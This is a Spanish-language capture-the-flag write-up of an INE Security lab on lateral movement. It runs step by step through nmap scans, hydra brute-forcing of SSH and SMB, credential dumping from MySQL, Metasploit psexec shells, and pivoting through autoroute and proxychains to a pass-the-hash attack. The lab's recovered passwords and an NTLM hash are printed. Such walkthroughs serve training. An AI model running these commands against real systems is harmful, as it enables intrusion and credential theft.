~/write-ups/writeup-3cb7d93542-694be9b6

Lateral Movement & Pivoting CTF 1

Imported from Notion: Lateral Movement & Pivoting CTF 1

target:: INE Security os:: windows HARD date:: 2026.08.29 pivotingpost-exploitation notion

Pistas:

  • Task 1: Exploit open services on target1.ine.local to gain initial access

  • Task 2: Enumerate databases on target1.ine.local to retrieve hidden credentials

  • Task 3: Leverage an open service on target2.ine.local to escalate access

  • Task 4: Exploit target3.ine.local to obtain Administrator credentials

  • Task 5: Pivot from target3.ine.local to target4.ine.local using discovered hashes


Empezamos con un nmap como siempre:

nmap -sSV -T4 target​1.ine.​local
Notion image
Notion image

Solo vemos el puerto 22 y 3306 abiertos.

Nos dicen en la documentacion que el usuario john tiene una password debil, probemos por ssh.

hydra -l john -P /usr/s​hare/m​etaspl​oit-fr​amewor​k/data​/wordl​ists/c​ommon_​passwo​rds.tx​t ssh://​target​1.ine.​local
Notion image
Notion image

Tenemos las primeras credenciales:

  • User: john

  • Password: password1

Vamos a conectarnos por ssh

ssh john@target​1.ine.​local
Notion image
Notion image

Vamos con la segunda pista, dice que enumeremos DBs:

mysql -u john -p -h 127.0.0.1

Una vez dentro vamos a enumerar:

show databases;
use usersinfo;
show tables;
select * from target​2_user​s;
select * from users;

Obtenemos dos credenciales, una del target 1 que ya hemos comprometido y otra de target 2.

Creds target 1:

  • User: Mike

  • Password: Uncr@ckable67

Creds target 2:

  • User: alice

  • Password: C@ntcr@ck!t19

Vamos a loguearnos primero como mike en la terminal que tenemos en el target 1:

su mike
Notion image
Notion image

Vamos ahora a loguearnos por ssh al target 2:

ssh alice@target​2.ine.​local
Notion image
Notion image

La pista 4 nos habla de explotar un servicio del target3.ine.local, a si que vamos a ver que servicios tenemos con nmap

nmap -sSV -T4 target​3.ine.​local
Notion image
Notion image

El más interesante es el puerto 445 que corre smb

Vamos a hacer un brute force a ver si conseguimos alguna credencial:

hydra -l admini​strato​r -P /usr/s​hare/m​etaspl​oit-fr​amewor​k/data​/wordl​ists/u​nix_pa​ssword​s.txt target​3.ine.​local smb
Notion image
Notion image

Tenemos credenciales de administrador:

  • User: administrator

  • Password: raspberry

Vamos a conseguir una shell con psexec

msfconsole -q
use exploi​t/wind​ows/sm​b/psex​ec
set RHOSTS target​3.ine.​local
set SMBUSER admini​strato​r
set SMBPASS raspberry
run
Notion image
Notion image

La ultima pista habla sobre un hash.

Vamos a buscarlo:

shell
power​shell
Get-Ch​ildIte​m -Path C:\ -Recurse -File -Filter "*hash*.txt" -Error​Action​ Silent​lyCont​inue
Notion image
Notion image
meterpreter > cat C:\\Hash.txt 
Admini​strato​r: 5c4d59​391f65​6d5958​dab124​ffeabc​20

Vamos a necesitar usar proxychains a si que vamos a meter autoroute en la shell meterpreter:

run autoroute -s 10.2.2​8.0/20​

Ahora clickamos Ctrl+z para dejarlo en segundo plano e introducimos:

use socks_proxy
set srvport 9050
set version 4a
run

Ahora en una terminal aparte:

proxychains nmap -sT -Pn -n target​4.ine.​local

Vemos el puerto 445 con smb corriendo, vamos a pasar el hash admin como dice la pista.

Notion image
Notion image
msfconsole -q
use exploi​t/wind​ows/sm​b/psex​ec
set RHOSTS target​4.ine.​local
set SMBUSER admini​strato​r
set SMBPASS aad3b4​35b514​04eeaa​d3b435​b51404​ee:5c4​d59391​f656d5​958dab​124ffe​abc20
set payload window​s/mete​rprete​r/bind​_tcp
run
Notion image
Notion image

- EOF -

<< back_to_index